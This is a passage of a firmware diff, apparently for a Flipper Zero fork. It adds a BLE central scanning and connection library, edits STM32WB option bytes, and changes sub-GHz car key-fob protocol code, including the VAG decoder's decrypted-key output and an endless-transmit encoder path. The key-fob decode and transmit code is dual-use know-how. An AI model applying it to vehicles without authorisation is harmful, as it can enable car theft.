case 0x0C: return "CMD_DISALLOWED";
case 0x0D: return "CONN_REJ_LIMITED_RESOURCES";
case 0x0E: return "CONN_REJ_SECURITY_REASONS";
case 0x0F: return "CONN_REJ_UNACCEPTABLE_BDADDR";
case 0x10: return "CONN_ACCEPT_TIMEOUT";
case 0x11: return "UNSUPPORTED_FEATURE";
case 0x12: return "INVALID_HCI_CMD_PARAMS";
case 0x13: return "REMOTE_USER_TERM_CONN";
case 0x14: return "REMOTE_DEV_TERM_CONN_LOW_RESOURCES";
case 0x15: return "REMOTE_DEV_TERM_CONN_POWER_OFF";
case 0x16: return "CONN_TERM_BY_LOCAL_HOST";
case 0x92: return "INVALID_PARAMS";
case 0x97: return "ERROR";
default: return "UNKNOWN";
}
}
static BleCentralAdvertisedDevice* ble_central_parse_advert_report(void* data) {
hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)data)->data);
if(event_pckt->evt != HCI_LE_META_EVT_CODE) return NULL;
evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
if(meta_evt->subevent != HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) return NULL;
hci_le_advertising_report_event_rp0* adv_rpt =
(hci_le_advertising_report_event_rp0*)meta_evt->data;
if(adv_rpt->Num_Reports == 0) return NULL;
uint8_t data_len = adv_rpt->Advertising_Report[0].Length_Data;
uint8_t* data_ptr = &adv_rpt->Advertising_Report[0].Length_Data + 1;
int8_t rssi = *(int8_t*)(data_ptr + data_len);
BleCentralAdvertisedDevice* device = malloc(sizeof(BleCentralAdvertisedDevice));
device->address_type = adv_rpt->Advertising_Report[0].Address_Type;
memcpy(device->address, adv_rpt->Advertising_Report[0].Address, 6);
device->rssi = rssi;
device->name[0] = '\0';
uint8_t pos = 0;
while(pos < data_len) {
uint8_t field_len = data_ptr[pos];
if(field_len == 0) break;
uint8_t field_type = data_ptr[pos + 1];
if(field_type == AD_TYPE_COMPLETE_LOCAL_NAME ||
field_type == AD_TYPE_SHORTENED_LOCAL_NAME) {
uint8_t name_len = field_len - 1;
if(name_len > 31) name_len = 31;
memcpy(device->name, &data_ptr[pos + 2], name_len);
device->name[name_len] = '\0';
break;
}
pos += field_len + 1;
}
return device;
}
static BleEventAckStatus ble_central_event_handler(void* event, void* context) {
UNUSED(context);
if(!ble_central || !ble_central->callback) return BleEventNotAck;
hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data);
FURI_LOG_I(TAG, "HCI event: evt=0x%02X", event_pckt->evt);
if(event_pckt->evt == HCI_LE_META_EVT_CODE) {
evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
FURI_LOG_I(TAG, "LE Meta event: subevent=0x%02X", meta_evt->subevent);
if(meta_evt->subevent == HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) {
BleCentralAdvertisedDevice* device = ble_central_parse_advert_report(event);
if(device) {
FURI_LOG_I(TAG, "Device found: %s [%02X:%02X:%02X:%02X:%02X:%02X] rssi=%d",
device->name,
device->address[0], device->address[1], device->address[2],
device->address[3], device->address[4], device->address[5],
device->rssi);
ble_central->callback(BleCentralEventDeviceFound, device, ble_central->context);
free(device);
return BleEventAckFlowEnable;
}
}
return BleEventNotAck;
}
if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) {
evt_blecore_aci* blue_evt = (evt_blecore_aci*)event_pckt->data;
FURI_LOG_I(TAG, "Vendor event: ecode=0x%04X", blue_evt->ecode);
if(blue_evt->ecode == ACI_GAP_PROC_COMPLETE_VSEVT_CODE) {
FURI_LOG_I(TAG, "GAP procedure complete");
ble_central->scanning = false;
ble_central->callback(BleCentralEventGattProcComplete, NULL, ble_central->context);
return BleEventAckFlowEnable;
}
return BleEventNotAck;
}
if(event_pckt->evt == HCI_DISCONNECTION_COMPLETE_EVT_CODE) {
FURI_LOG_W(TAG, "Disconnection complete (handle=0x%04X)", ble_central->connection_handle);
ble_central->connected = false;
ble_central->connection_handle = 0;
ble_central->callback(BleCentralEventDisconnected, NULL, ble_central->context);
return BleEventAckFlowEnable;
}
return BleEventNotAck;
}
static void ble_central_free(void) {
if(!ble_central) return;
if(ble_central->handler_ref) {
ble_event_dispatcher_unregister_svc_handler(ble_central->handler_ref);
}
free(ble_central);
ble_central = NULL;
}
bool ble_central_scan_start(BleCentralEventCallback callback, void* context) {
furi_check(callback != NULL);
furi_check(context != NULL);
if(ble_central) {
FURI_LOG_W(TAG, "scan_start: already initialized, cleaning up previous instance");
ble_central_free();
}
FURI_LOG_I(TAG, "ble_central_scan_start: callback=%p ctx=%p", callback, context);
ble_central = malloc(sizeof(BleCentral));
ble_central->callback = callback;
ble_central->context = context;
ble_central->connected = false;
ble_central->connection_handle = 0;
ble_central->scanning = false;
ble_central->handler_ref =
ble_event_dispatcher_register_svc_handler(ble_central_event_handler, ble_central);
if(!ble_central->handler_ref) {
FURI_LOG_E(TAG, "ble_event_dispatcher_register_svc_handler FAILED");
ble_central_free();
return false;
}
FURI_LOG_I(TAG, "Event handler registered: %p", ble_central->handler_ref);
FURI_LOG_I(TAG,
"Calling aci_gap_start_general_discovery_proc(interval=0x%04X, window=0x%04X, addr_type=0x%02X, filter=0x%02X)",
BLE_CENTRAL_SCAN_INTERVAL, BLE_CENTRAL_SCAN_WINDOW, 0x00, 0x00);
tBleStatus status = aci_gap_start_general_discovery_proc(
BLE_CENTRAL_SCAN_INTERVAL,
BLE_CENTRAL_SCAN_WINDOW,
0x00,
0x00);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gap_start_general_discovery_proc FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
ble_central_free();
return false;
}
ble_central->scanning = true;
FURI_LOG_I(TAG, "Scan started successfully");
return true;
}
bool ble_central_scan_stop(void) {
if(!ble_central) {
FURI_LOG_W(TAG, "scan_stop: not initialized");
return false;
}
if(ble_central->scanning) {
FURI_LOG_I(TAG, "Stopping scan (terminating GAP discovery proc)");
tBleStatus status = aci_gap_terminate_gap_proc(GAP_GENERAL_DISCOVERY_PROC);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_W(TAG, "aci_gap_terminate_gap_proc returned 0x%02X (%s) — may have already completed",
status, ble_central_status_str(status));
}
ble_central->scanning = false;
} else {
FURI_LOG_I(TAG, "scan_stop: GAP proc already completed, cleaning up");
}
ble_central_free();
FURI_LOG_I(TAG, "Scan stopped");
return true;
}
bool ble_central_connect(const uint8_t* address, uint8_t address_type) {
if(!ble_central) {
FURI_LOG_E(TAG, "connect: ble_central is NULL (not initialized)");
return false;
}
if(ble_central->connected) {
FURI_LOG_W(TAG, "connect: already connected (handle=0x%04X)", ble_central->connection_handle);
return false;
}
FURI_LOG_I(TAG, "Connecting to %02X:%02X:%02X:%02X:%02X:%02X type=%d",
address[0], address[1], address[2], address[3], address[4], address[5], address_type);
tBleStatus status = aci_gap_create_connection(
0x100, 0x50,
address_type,
address,
0x00,
0x28, 0x38,
0x00, 0x100,
0x0010, 0x0010);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gap_create_connection FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
FURI_LOG_I(TAG, "Connection initiated, waiting for HCI_LE_CONNECTION_COMPLETE");
return true;
}
bool ble_central_disconnect(void) {
if(!ble_central) {
FURI_LOG_E(TAG, "disconnect: ble_central is NULL");
return false;
}
if(!ble_central->connected) {
FURI_LOG_W(TAG, "disconnect: not connected");
return false;
}
FURI_LOG_I(TAG, "Disconnecting handle=0x%04X reason=0x13", ble_central->connection_handle);
tBleStatus status = hci_disconnect(ble_central->connection_handle, 0x13);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "hci_disconnect FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
ble_central->connected = false;
ble_central->connection_handle = 0;
return true;
}
bool ble_central_discover_services(void) {
if(!ble_central) {
FURI_LOG_E(TAG, "discover_services: ble_central is NULL");
return false;
}
if(!ble_central->connected) {
FURI_LOG_E(TAG, "discover_services: not connected");
return false;
}
FURI_LOG_I(TAG, "Discovering primary services on handle=0x%04X",
ble_central->connection_handle);
tBleStatus status = aci_gatt_disc_all_primary_services(ble_central->connection_handle);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gatt_disc_all_primary_services FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
return true;
}
bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len) {
if(!ble_central) {
FURI_LOG_E(TAG, "write_command: ble_central is NULL");
return false;
}
if(!ble_central->connected) {
FURI_LOG_E(TAG, "write_command: not connected");
return false;
}
FURI_LOG_I(TAG, "Write without response: handle=0x%04X len=%u", handle, len);
tBleStatus status = aci_gatt_write_without_resp(
ble_central->connection_handle, handle, len, data);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gatt_write_without_resp FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
return true;
}
bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len) {
if(!ble_central) {
FURI_LOG_E(TAG, "write_request: ble_central is NULL");
return false;
}
if(!ble_central->connected) {
FURI_LOG_E(TAG, "write_request: not connected");
return false;
}
FURI_LOG_I(TAG, "Write with response: handle=0x%04X len=%u", handle, len);
tBleStatus status = aci_gatt_write_char_value(
ble_central->connection_handle, handle, len, data);
if(status != BLE_STATUS_SUCCESS) {
FURI_LOG_E(TAG, "aci_gatt_write_char_value FAILED: 0x%02X (%s)",
status, ble_central_status_str(status));
return false;
}
return true;
}
uint16_t ble_central_get_connection_handle(void) {
if(!ble_central) return 0;
return ble_central->connection_handle;
}
bool ble_central_is_connected(void) {
if(!ble_central) return false;
return ble_central->connected;
}
+45
View File
@@ -0,0 +1,45 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
BleCentralEventDeviceFound,
BleCentralEventConnected,
BleCentralEventDisconnected,
BleCentralEventGattProcComplete,
BleCentralEventDataReceived,
} BleCentralEventType;
typedef struct {
uint8_t address[6];
uint8_t address_type;
char name[32];
int8_t rssi;
} BleCentralAdvertisedDevice;
typedef struct {
uint16_t handle;
uint8_t data[256];
uint16_t len;
} BleCentralGattData;
typedef void (*BleCentralEventCallback)(BleCentralEventType event, void* data, void* context);
bool ble_central_scan_start(BleCentralEventCallback callback, void* context);
bool ble_central_scan_stop(void);
bool ble_central_connect(const uint8_t* address, uint8_t address_type);
bool ble_central_disconnect(void);
bool ble_central_discover_services(void);
bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len);
bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len);
uint16_t ble_central_get_connection_handle(void);
bool ble_central_is_connected(void);
#ifdef __cplusplus
}
#endif
+1 -1
View File
@@ -107,7 +107,7 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
&ford_protocol_v2,
&ford_protocol_v3,
//&subghz_protocol_land_rover_v0,
&subghz_protocol_toyota,
//&subghz_protocol_toyota,
&honda_static_protocol,
&honda_v1_protocol,
&honda_v2_protocol,
+6 -6
View File
@@ -103,8 +103,8 @@ static uint8_t vag_custom_to_btn(uint8_t custom, uint8_t original_btn) {
switch(custom) {
case 1: return 0x20;
case 2: return 0x10;
case 3: return 0x40;
case 4: return 0x80;
case 3:
case 4: return 0x40;
default: return original_btn;
}
}
@@ -113,8 +113,8 @@ static uint8_t vag_btn_to_custom(uint8_t btn) {
switch(btn) {
case 0x10: return 2;
case 0x20: return 1;
case 0x40: return 3;
case 0x80: return 4;
case 0x40:
case 0x80: return 3;
default: return 1;
}
}
@@ -1211,7 +1211,7 @@ void subghz_protocol_decoder_vag_get_string(void* context, FuriString* output) {
if(instance->decrypted) {
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"%s %db\r\n"
"Key1:%08lX%08lX\r\n"
"Key2:%04X KeyIdx:%d\r\n"
"Ser:%08lX Cnt:%06lX\r\n"
@@ -1297,7 +1297,7 @@ LevelDuration subghz_protocol_encoder_vag_yield(void* context) {
if(instance->front >= instance->size_upload) {
instance->front = 0;
instance->repeat--;
if(!subghz_block_generic_global.endless_tx) instance->repeat--;
}
return ret;
+8 -7
View File
@@ -14,15 +14,16 @@ IWDGSTOP:0x1:rw
IWDGSW:0x1:rw
IPCCDBA:0x0:rw
ESE:0x1:r
SFSA:0xD7:r
SFSA:0xCE:rw
FSD:0x0:r
DDS:0x1:r
C2OPT:0x1:r
NBRSD:0x0:r
SNBRSA:0xB:r
BRSD:0x0:r
SBRSA:0x12:r
SBRV:0x35C00:r
# Word 15 (C2 Opts) - read-only in firmware (NULL register), keep device values
# C2OPT:0x1:r
# NBRSD:0x0:r
# SNBRSA:0xB:r
# BRSD:0x0:r
# SBRSA:0x12:r
# SBRV:0x35C00:r
PCROP1A_STRT:0x1FF:r
PCROP1A_END:0x0:r
PCROP_RDP:0x1:rw
+7
View File
@@ -37,6 +37,13 @@ ENV.AppendUnique(
"-specs=nano.specs",
"-Wl,--gc-sections",
"-Wl,--undefined=uxTopUsedPriority",
"-Wl,--undefined=aci_gap_start_general_discovery_proc",
"-Wl,--undefined=aci_gap_terminate_gap_proc",
"-Wl,--undefined=aci_gap_create_connection",
"-Wl,--undefined=hci_disconnect",
"-Wl,--undefined=aci_gatt_disc_all_primary_services",
"-Wl,--undefined=aci_gatt_write_char_value",
"-Wl,--undefined=aci_gatt_write_without_resp",
"-Wl,--wrap,_malloc_r",
"-Wl,--wrap,_free_r",
"-Wl,--wrap,_calloc_r",
+20 -2
View File
@@ -1,5 +1,5 @@
entry,status,name,type,params
Version,+,89.2,,
Version,+,89.3,,
Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,,
Header,+,applications/services/applications.h,,
Header,+,applications/services/bt/bt_service/bt.h,,
@@ -50,6 +50,8 @@ Header,+,applications/services/power/power_service/power.h,,
Header,+,applications/services/rpc/rpc_app.h,,
Header,+,applications/services/storage/storage.h,,
Header,+,lib/bit_lib/bit_lib.h,,
Header,+,lib/ble_central/aci_decls.h,,
Header,+,lib/ble_central/ble_central.h,,
Header,+,lib/ble_profile/extra_profiles/hid_profile.h,,
Header,+,lib/ble_profile/extra_services/hid_service.h,,
Header,+,lib/datetime/datetime.h,,
@@ -625,6 +627,12 @@ Function,-,_wctomb_r,int,"_reent*, char*, wchar_t, _mbstate_t*"
Function,-,a64l,long,const char*
Function,+,abort,void,
Function,-,abs,int,int
Function,+,aci_gap_create_connection,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*, uint8_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t"
Function,+,aci_gap_start_general_discovery_proc,uint8_t,"uint16_t, uint16_t, uint8_t, uint8_t"
Function,+,aci_gap_terminate_gap_proc,uint8_t,uint8_t
Function,+,aci_gatt_disc_all_primary_services,uint8_t,uint16_t
Function,+,aci_gatt_write_char_value,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
Function,+,aci_gatt_write_without_resp,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
Function,-,acos,double,double
Function,-,acosf,float,float
Function,-,acosh,double,double
@@ -734,6 +742,15 @@ Function,+,bit_lib_test_parity_32,_Bool,"uint32_t, BitLibParity"
Function,-,ble_app_deinit,void,
Function,-,ble_app_get_key_storage_buff,void,"uint8_t**, uint16_t*"
Function,-,ble_app_init,_Bool,
Function,-,ble_central_connect,_Bool,"const uint8_t*, uint8_t"
Function,-,ble_central_disconnect,_Bool,
Function,-,ble_central_discover_services,_Bool,
Function,-,ble_central_get_connection_handle,uint16_t,
Function,-,ble_central_is_connected,_Bool,
Function,-,ble_central_scan_start,_Bool,"BleCentralEventCallback, void*"
Function,-,ble_central_scan_stop,_Bool,
Function,-,ble_central_write_command,_Bool,"uint16_t, const uint8_t*, uint16_t"
Function,-,ble_central_write_request,_Bool,"uint16_t, const uint8_t*, uint16_t"
Function,-,ble_event_app_notification,BleEventFlowStatus,void*
Function,-,ble_event_dispatcher_init,void,
Function,-,ble_event_dispatcher_process_event,BleEventFlowStatus,void*
@@ -2088,7 +2105,8 @@ Function,+,gui_set_lockdown,void,"Gui*, _Bool"
Function,+,gui_set_lockdown_inhibit,void,"Gui*, _Bool"
Function,-,gui_view_port_send_to_back,void,"Gui*, ViewPort*"
Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*"
Function,-,hci_send_req,int,"hci_request*, uint8_t"
Function,+,hci_disconnect,uint8_t,"uint16_t, uint8_t"
Function,+,hci_send_req,int,"hci_request*, uint8_t"
Function,+,hex_char_to_hex_nibble,_Bool,"char, uint8_t*"
Function,+,hex_char_to_uint8,_Bool,"char, char, uint8_t*"
Function,+,hex_chars_to_uint64,_Bool,"const char*, uint64_t*"
1 entry status name type params
2 Version + 89.2 89.3
3 Header + applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h
4 Header + applications/services/applications.h
5 Header + applications/services/bt/bt_service/bt.h
50 Header + applications/services/rpc/rpc_app.h
51 Header + applications/services/storage/storage.h
52 Header + lib/bit_lib/bit_lib.h
53 Header + lib/ble_central/aci_decls.h
54 Header + lib/ble_central/ble_central.h
55 Header + lib/ble_profile/extra_profiles/hid_profile.h
56 Header + lib/ble_profile/extra_services/hid_service.h
57 Header + lib/datetime/datetime.h
627 Function - a64l long const char*
628 Function + abort void
629 Function - abs int int
630 Function + aci_gap_create_connection uint8_t uint16_t, uint16_t, uint8_t, const uint8_t*, uint8_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t
631 Function + aci_gap_start_general_discovery_proc uint8_t uint16_t, uint16_t, uint8_t, uint8_t
632 Function + aci_gap_terminate_gap_proc uint8_t uint8_t
633 Function + aci_gatt_disc_all_primary_services uint8_t uint16_t
634 Function + aci_gatt_write_char_value uint8_t uint16_t, uint16_t, uint8_t, const uint8_t*
635 Function + aci_gatt_write_without_resp uint8_t uint16_t, uint16_t, uint8_t, const uint8_t*
636 Function - acos double double
637 Function - acosf float float
638 Function - acosh double double
742 Function - ble_app_deinit void
743 Function - ble_app_get_key_storage_buff void uint8_t**, uint16_t*
744 Function - ble_app_init _Bool
745 Function - ble_central_connect _Bool const uint8_t*, uint8_t
746 Function - ble_central_disconnect _Bool
747 Function - ble_central_discover_services _Bool
748 Function - ble_central_get_connection_handle uint16_t
749 Function - ble_central_is_connected _Bool
750 Function - ble_central_scan_start _Bool BleCentralEventCallback, void*
751 Function - ble_central_scan_stop _Bool
752 Function - ble_central_write_command _Bool uint16_t, const uint8_t*, uint16_t
753 Function - ble_central_write_request _Bool uint16_t, const uint8_t*, uint16_t
754 Function - ble_event_app_notification BleEventFlowStatus void*
755 Function - ble_event_dispatcher_init void
756 Function - ble_event_dispatcher_process_event BleEventFlowStatus void*
2105 Function + gui_set_lockdown_inhibit void Gui*, _Bool
2106 Function - gui_view_port_send_to_back void Gui*, ViewPort*
2107 Function + gui_view_port_send_to_front void Gui*, ViewPort*
2108 Function - + hci_send_req hci_disconnect int uint8_t hci_request*, uint8_t uint16_t, uint8_t
2109 Function + hci_send_req int hci_request*, uint8_t
2110 Function + hex_char_to_hex_nibble _Bool char, uint8_t*
2111 Function + hex_char_to_uint8 _Bool char, char, uint8_t*
2112 Function + hex_chars_to_uint64 _Bool const char*, uint64_t*
+1 -1
View File
@@ -359,7 +359,7 @@ static void gap_init_svc(Gap* gap, const GapRootSecurityKeys* root_keys) {
// Skip first symbol AD_TYPE_COMPLETE_LOCAL_NAME
char* name = gap->service.adv_name + 1;
aci_gap_init(
GAP_PERIPHERAL_ROLE,
GAP_PERIPHERAL_ROLE | GAP_CENTRAL_ROLE | GAP_OBSERVER_ROLE,
0,
strlen(name),
&gap->service.gap_svc_handle,
+2 -1
View File
@@ -11,7 +11,8 @@
"platform_specific",
"ble_glue/furi_ble",
"ble_glue/services",
"ble_glue/profiles"
"ble_glue/profiles",
"../../lib/ble_central"
],
"linker_script_flash": "stm32wb55xx_flash.ld",
"linker_script_ram": "stm32wb55xx_ram_fw.ld",